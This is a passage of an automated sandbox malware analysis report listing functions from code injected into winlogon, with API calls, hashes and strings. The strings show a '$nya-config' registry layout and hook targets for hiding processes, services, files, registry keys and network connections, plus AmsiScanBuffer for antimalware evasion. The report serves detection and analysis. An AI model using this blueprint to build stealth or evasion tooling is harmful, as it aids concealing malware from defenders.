Part of subcall function 000001CA7D1ED2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,000001CA7D1E674A), ref: 000001CA7D1ED2C0

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$AllocErrorFileFindFirstFreeLast_invalid_parameter_noinfo
String ID:
API String ID: 2436724071-0
Opcode ID: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction ID: 5205a7403cca9f1548dad89f04e5f688a0c075462e664ab97e36f28573c5fae2
Opcode Fuzzy Hash: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction Fuzzy Hash: 5A81F733B4478485FB22DB22E440BDEB791FB85B99F8C4125AE99077D5DE3AC1418743

Function 000001CA7D1C2AF0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.1645690785.000001CA7D1B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_1ca7d1b0000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9bdd77244afecc035c9c3357dde6af93eede52a42cb897eb52dd6107e5c9c51
Instruction ID: ca34dd41252b53d4a5cff9c5e57dc41cb2ffb1eb775b14f4f42dfe15e54293e6
Opcode Fuzzy Hash: c9bdd77244afecc035c9c3357dde6af93eede52a42cb897eb52dd6107e5c9c51
Instruction Fuzzy Hash: 541156B3A987D88BF75A9F6994517993790BB0438CFC48069D44986A94C73EC4D04F52

Function 000001CA7D291724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D29172F
HeapAlloc.KERNEL32 ref: 000001CA7D29173E

Part of subcall function 000001CA7D291264: GetProcessHeap.KERNEL32 ref: 000001CA7D29126A
Part of subcall function 000001CA7D291264: HeapAlloc.KERNEL32 ref: 000001CA7D291279
Part of subcall function 000001CA7D291264: GetProcessHeap.KERNEL32 ref: 000001CA7D291293
Part of subcall function 000001CA7D291264: HeapAlloc.KERNEL32 ref: 000001CA7D2912A4

Part of subcall function 000001CA7D291000: GetProcessHeap.KERNEL32 ref: 000001CA7D291006
Part of subcall function 000001CA7D291000: HeapAlloc.KERNEL32 ref: 000001CA7D291015
Part of subcall function 000001CA7D291000: GetProcessHeap.KERNEL32 ref: 000001CA7D291028
Part of subcall function 000001CA7D291000: HeapAlloc.KERNEL32 ref: 000001CA7D291037

RegOpenKeyExW.ADVAPI32 ref: 000001CA7D2917AE
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D2917DB
RegCloseKey.ADVAPI32 ref: 000001CA7D2917F5
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D291815
RegCloseKey.ADVAPI32 ref: 000001CA7D291830
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D291850
RegCloseKey.ADVAPI32 ref: 000001CA7D29186B
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D29188B
RegCloseKey.ADVAPI32 ref: 000001CA7D2918A6
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D2918C6
RegCloseKey.ADVAPI32 ref: 000001CA7D2918E1
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D291901
RegCloseKey.ADVAPI32 ref: 000001CA7D29191C
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D29193C
RegCloseKey.ADVAPI32 ref: 000001CA7D291957
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D291977
RegCloseKey.ADVAPI32 ref: 000001CA7D291992
RegCloseKey.ADVAPI32 ref: 000001CA7D29199C

Part of subcall function 000001CA7D2912B8: RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D291315
Part of subcall function 000001CA7D2912B8: GetProcessHeap.KERNEL32 ref: 000001CA7D291323
Part of subcall function 000001CA7D2912B8: HeapAlloc.KERNEL32 ref: 000001CA7D291334
Part of subcall function 000001CA7D2912B8: RegEnumValueW.ADVAPI32 ref: 000001CA7D291393
Part of subcall function 000001CA7D2912B8: GetProcessHeap.KERNEL32 ref: 000001CA7D2913DB
Part of subcall function 000001CA7D2912B8: HeapAlloc.KERNEL32 ref: 000001CA7D2913E9
Part of subcall function 000001CA7D2912B8: GetProcessHeap.KERNEL32 ref: 000001CA7D291406
Part of subcall function 000001CA7D2912B8: HeapFree.KERNEL32 ref: 000001CA7D291414
Part of subcall function 000001CA7D2912B8: lstrlenW.KERNEL32 ref: 000001CA7D29141D
Part of subcall function 000001CA7D2912B8: GetProcessHeap.KERNEL32 ref: 000001CA7D29142B
Part of subcall function 000001CA7D2912B8: HeapAlloc.KERNEL32 ref: 000001CA7D291439

Strings

paths, xrefs: 000001CA7D291884
udp, xrefs: 000001CA7D291970
SOFTWARE\$nya-config, xrefs: 000001CA7D29178E
service_names, xrefs: 000001CA7D2918BF
pid, xrefs: 000001CA7D29180E
tcp_local, xrefs: 000001CA7D2918FA
startup, xrefs: 000001CA7D2917D1
process_names, xrefs: 000001CA7D291849
tcp_remote, xrefs: 000001CA7D291935

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: fb15fa20126c4c6dafad04b3a9e0ce3b22ed315104faccb0dcb3aec83ba8768e
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: 7371F837B50B5889FB129F26E850A9A33A4FF88B8DF801112DD4D57B68DE26C446C3D2

Function 000001CA7D211724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D21172F
HeapAlloc.KERNEL32 ref: 000001CA7D21173E

Part of subcall function 000001CA7D211264: GetProcessHeap.KERNEL32 ref: 000001CA7D21126A
Part of subcall function 000001CA7D211264: HeapAlloc.KERNEL32 ref: 000001CA7D211279
Part of subcall function 000001CA7D211264: GetProcessHeap.KERNEL32 ref: 000001CA7D211293
Part of subcall function 000001CA7D211264: HeapAlloc.KERNEL32 ref: 000001CA7D2112A4

Part of subcall function 000001CA7D211000: GetProcessHeap.KERNEL32 ref: 000001CA7D211006
Part of subcall function 000001CA7D211000: HeapAlloc.KERNEL32 ref: 000001CA7D211015
Part of subcall function 000001CA7D211000: GetProcessHeap.KERNEL32 ref: 000001CA7D211028
Part of subcall function 000001CA7D211000: HeapAlloc.KERNEL32 ref: 000001CA7D211037

RegOpenKeyExW.ADVAPI32 ref: 000001CA7D2117AE
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D2117DB
RegCloseKey.ADVAPI32 ref: 000001CA7D2117F5
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D211815
RegCloseKey.ADVAPI32 ref: 000001CA7D211830
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D211850
RegCloseKey.ADVAPI32 ref: 000001CA7D21186B
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D21188B
RegCloseKey.ADVAPI32 ref: 000001CA7D2118A6
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D2118C6
RegCloseKey.ADVAPI32 ref: 000001CA7D2118E1
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D211901
RegCloseKey.ADVAPI32 ref: 000001CA7D21191C
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D21193C
RegCloseKey.ADVAPI32 ref: 000001CA7D211957
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D211977
RegCloseKey.ADVAPI32 ref: 000001CA7D211992
RegCloseKey.ADVAPI32 ref: 000001CA7D21199C

Part of subcall function 000001CA7D2112B8: RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D211315
Part of subcall function 000001CA7D2112B8: GetProcessHeap.KERNEL32 ref: 000001CA7D211323
Part of subcall function 000001CA7D2112B8: HeapAlloc.KERNEL32 ref: 000001CA7D211334
Part of subcall function 000001CA7D2112B8: RegEnumValueW.ADVAPI32 ref: 000001CA7D211393
Part of subcall function 000001CA7D2112B8: GetProcessHeap.KERNEL32 ref: 000001CA7D2113DB
Part of subcall function 000001CA7D2112B8: HeapAlloc.KERNEL32 ref: 000001CA7D2113E9
Part of subcall function 000001CA7D2112B8: GetProcessHeap.KERNEL32 ref: 000001CA7D211406
Part of subcall function 000001CA7D2112B8: HeapFree.KERNEL32 ref: 000001CA7D211414
Part of subcall function 000001CA7D2112B8: lstrlenW.KERNEL32 ref: 000001CA7D21141D
Part of subcall function 000001CA7D2112B8: GetProcessHeap.KERNEL32 ref: 000001CA7D21142B
Part of subcall function 000001CA7D2112B8: HeapAlloc.KERNEL32 ref: 000001CA7D211439

Strings

pid, xrefs: 000001CA7D21180E
tcp_local, xrefs: 000001CA7D2118FA
service_names, xrefs: 000001CA7D2118BF
tcp_remote, xrefs: 000001CA7D211935
SOFTWARE\$nya-config, xrefs: 000001CA7D21178E
udp, xrefs: 000001CA7D211970
process_names, xrefs: 000001CA7D211849
startup, xrefs: 000001CA7D2117D1
paths, xrefs: 000001CA7D211884

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: 2c83494e5a43262cfe800e831b7ec8651a9dabb613aca94f4580080f8d60cd14
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: CD711737B50B1985FB229F21E850AD833A4FF88B8CF819115ED4D47A28DE3AC546C3C6

Function 000001CA7D291E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95memorythreadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000001CA7D291E7F

Part of subcall function 000001CA7D2922A8: GetModuleHandleA.KERNEL32(?,?,?,000001CA7D291EB1), ref: 000001CA7D2922C0
Part of subcall function 000001CA7D2922A8: GetProcAddress.KERNEL32(?,?,?,000001CA7D291EB1), ref: 000001CA7D2922D1

CreateThread.KERNEL32 ref: 000001CA7D292043
TlsAlloc.KERNEL32 ref: 000001CA7D292049
TlsAlloc.KERNEL32 ref: 000001CA7D292055
TlsAlloc.KERNEL32 ref: 000001CA7D292061
TlsAlloc.KERNEL32 ref: 000001CA7D29206D
TlsAlloc.KERNEL32 ref: 000001CA7D292079
TlsAlloc.KERNEL32 ref: 000001CA7D292085

Strings

NtDeviceIoControlFile, xrefs: 000001CA7D291FB6
NtQueryDirectoryFile, xrefs: 000001CA7D291EDF
PdhGetRawCounterArrayW, xrefs: 000001CA7D291FD0
sechost.dll, xrefs: 000001CA7D291F99
amsi.dll, xrefs: 000001CA7D292019
advapi32.dll, xrefs: 000001CA7D291F57, 000001CA7D291F78
PdhGetFormattedCounterArrayW, xrefs: 000001CA7D291FF1
ntdll.dll, xrefs: 000001CA7D291E8D
AmsiScanBuffer, xrefs: 000001CA7D292012
NtQuerySystemInformation, xrefs: 000001CA7D291EA5
NtEnumerateValueKey, xrefs: 000001CA7D291F36
EnumServicesStatusExW, xrefs: 000001CA7D291F71, 000001CA7D291F92
EnumServiceGroupW, xrefs: 000001CA7D291F50
NtEnumerateKey, xrefs: 000001CA7D291F19
NtResumeThread, xrefs: 000001CA7D291EC2
NtQueryDirectoryFileEx, xrefs: 000001CA7D291EFC
pdh.dll, xrefs: 000001CA7D291FD7, 000001CA7D291FF8

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: 68f115bde263472201ca07a53b25cff465ad2114566305ba7983a19ab3ffb222
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: FA516176E90B4EA5FB039B64E840EE53361FF8434DFC14512980926675AE7AC25BC3E3

Function 000001CA7D211E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95memorythreadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000001CA7D211E7F

Part of subcall function 000001CA7D2122A8: GetModuleHandleA.KERNEL32(?,?,?,000001CA7D211EB1), ref: 000001CA7D2122C0
Part of subcall function 000001CA7D2122A8: GetProcAddress.KERNEL32(?,?,?,000001CA7D211EB1), ref: 000001CA7D2122D1

CreateThread.KERNEL32 ref: 000001CA7D212043
TlsAlloc.KERNEL32 ref: 000001CA7D212049
TlsAlloc.KERNEL32 ref: 000001CA7D212055
TlsAlloc.KERNEL32 ref: 000001CA7D212061
TlsAlloc.KERNEL32 ref: 000001CA7D21206D
TlsAlloc.KERNEL32 ref: 000001CA7D212079
TlsAlloc.KERNEL32 ref: 000001CA7D212085

Strings

NtQuerySystemInformation, xrefs: 000001CA7D211EA5
PdhGetRawCounterArrayW, xrefs: 000001CA7D211FD0
NtQueryDirectoryFileEx, xrefs: 000001CA7D211EFC
NtQueryDirectoryFile, xrefs: 000001CA7D211EDF
amsi.dll, xrefs: 000001CA7D212019
EnumServicesStatusExW, xrefs: 000001CA7D211F71, 000001CA7D211F92
EnumServiceGroupW, xrefs: 000001CA7D211F50
advapi32.dll, xrefs: 000001CA7D211F57, 000001CA7D211F78
NtEnumerateKey, xrefs: 000001CA7D211F19
NtEnumerateValueKey, xrefs: 000001CA7D211F36
pdh.dll, xrefs: 000001CA7D211FD7, 000001CA7D211FF8
NtDeviceIoControlFile, xrefs: 000001CA7D211FB6
NtResumeThread, xrefs: 000001CA7D211EC2
AmsiScanBuffer, xrefs: 000001CA7D212012
ntdll.dll, xrefs: 000001CA7D211E8D
sechost.dll, xrefs: 000001CA7D211F99
PdhGetFormattedCounterArrayW, xrefs: 000001CA7D211FF1

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: c27b5b2766e8a714269c9b7251a9534395d3fbc0594a058b2d3d4c984f6c3e2e
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: 47517A72A90B0EA5FB039B68E842ED83324BF4475CFC18916A40902575DE7BD25BC3E7

Function 000001CA7D2912B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D291315
GetProcessHeap.KERNEL32 ref: 000001CA7D291323
HeapAlloc.KERNEL32 ref: 000001CA7D291334
RegEnumValueW.ADVAPI32 ref: 000001CA7D291393

Part of subcall function 000001CA7D291530: StrCmpIW.SHLWAPI ref: 000001CA7D291561

GetProcessHeap.KERNEL32 ref: 000001CA7D2913DB
HeapAlloc.KERNEL32 ref: 000001CA7D2913E9
GetProcessHeap.KERNEL32 ref: 000001CA7D291406
HeapFree.KERNEL32 ref: 000001CA7D291414
lstrlenW.KERNEL32 ref: 000001CA7D29141D
GetProcessHeap.KERNEL32 ref: 000001CA7D29142B
HeapAlloc.KERNEL32 ref: 000001CA7D291439
StrCpyW.SHLWAPI ref: 000001CA7D29145B
GetProcessHeap.KERNEL32 ref: 000001CA7D291472
HeapFree.KERNEL32 ref: 000001CA7D291480

Strings

d, xrefs: 000001CA7D291356

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: 7a9e4dd526ab2a344e9bcf59a507826a2bcd43945c5cf18051587018948a7a67
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: 34513E33A50B889AE716CF62E4447AB77A1FBC8F99F844124DE4907758DF3DC04A8782

Function 000001CA7D2112B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D211315
GetProcessHeap.KERNEL32 ref: 000001CA7D211323
HeapAlloc.KERNEL32 ref: 000001CA7D211334
RegEnumValueW.ADVAPI32 ref: 000001CA7D211393

Part of subcall function 000001CA7D211530: StrCmpIW.SHLWAPI ref: 000001CA7D211561

GetProcessHeap.KERNEL32 ref: 000001CA7D2113DB
HeapAlloc.KERNEL32 ref: 000001CA7D2113E9
GetProcessHeap.KERNEL32 ref: 000001CA7D211406
HeapFree.KERNEL32 ref: 000001CA7D211414
lstrlenW.KERNEL32 ref: 000001CA7D21141D
GetProcessHeap.KERNEL32 ref: 000001CA7D21142B
HeapAlloc.KERNEL32 ref: 000001CA7D211439
StrCpyW.SHLWAPI ref: 000001CA7D21145B
GetProcessHeap.KERNEL32 ref: 000001CA7D211472
HeapFree.KERNEL32 ref: 000001CA7D211480

Strings

d, xrefs: 000001CA7D211356

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: 10435c65013aa49502dc7abc10a9fb8f475a20879a614cbceb8abb604b999947
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: E5516033A50B8896F722CF62E44979A77A1FB88F98F858124DE4907718DF3DD046C782

Function 000001CA7D1E12B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D1E1315
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1323
HeapAlloc.KERNEL32 ref: 000001CA7D1E1334
RegEnumValueW.ADVAPI32 ref: 000001CA7D1E1393

Part of subcall function 000001CA7D1E1530: StrCmpIW.SHLWAPI ref: 000001CA7D1E1561

GetProcessHeap.KERNEL32 ref: 000001CA7D1E13DB
HeapAlloc.KERNEL32 ref: 000001CA7D1E13E9
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1406
HeapFree.KERNEL32 ref: 000001CA7D1E1414
lstrlenW.KERNEL32 ref: 000001CA7D1E141D
GetProcessHeap.KERNEL32 ref: 000001CA7D1E142B
HeapAlloc.KERNEL32 ref: 000001CA7D1E1439
StrCpyW.SHLWAPI ref: 000001CA7D1E145B
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1472
HeapFree.KERNEL32 ref: 000001CA7D1E1480

Strings

d, xrefs: 000001CA7D1E1356

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: c1dc221c099710ed114a4203ff786129722ca6648603eb70c6731709578373a2
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: 7151C073A45B8886F721CF62E41879A77A1FB88F89F844124DE4A03758DF3DC145C782

Function 000001CA7D29EF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,000001CA7D29F34A,?,?,00000000,000001CA7D29F2CD), ref: 000001CA7D29EFF5
GetLastError.KERNEL32(?,?,00000000,000001CA7D29F2CD), ref: 000001CA7D29F007
LoadLibraryExW.KERNEL32(?,?,00000000,000001CA7D29F2CD), ref: 000001CA7D29F049
VirtualProtect.KERNEL32 ref: 000001CA7D29F0A5
VirtualProtect.KERNEL32 ref: 000001CA7D29F0D6
FreeLibrary.KERNEL32(?,?,00000000,000001CA7D29F2CD), ref: 000001CA7D29F11A
GetProcAddress.KERNEL32(?,?,00000000,000001CA7D29F2CD), ref: 000001CA7D29F126

Strings

ext-ms-, xrefs: 000001CA7D29F02E
api-ms-, xrefs: 000001CA7D29F01B
AppPolicyGetProcessTerminationMethod, xrefs: 000001CA7D29F157, 000001CA7D29F165

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: 35e59fce39fc26d4e588c545ceda4915201235a0509f46c42b5d2ee77a2c5ca4
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: 97519C33B4171851FA569B56A800BE632A0BF88BB9F9807259E39173D4DF3AD40686C3

Function 000001CA7D21EF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,000001CA7D21F34A,?,?,00000000,000001CA7D21F2CD), ref: 000001CA7D21EFF5
GetLastError.KERNEL32(?,?,00000000,000001CA7D21F2CD), ref: 000001CA7D21F007
LoadLibraryExW.KERNEL32(?,?,00000000,000001CA7D21F2CD), ref: 000001CA7D21F049
VirtualProtect.KERNEL32 ref: 000001CA7D21F0A5
VirtualProtect.KERNEL32 ref: 000001CA7D21F0D6
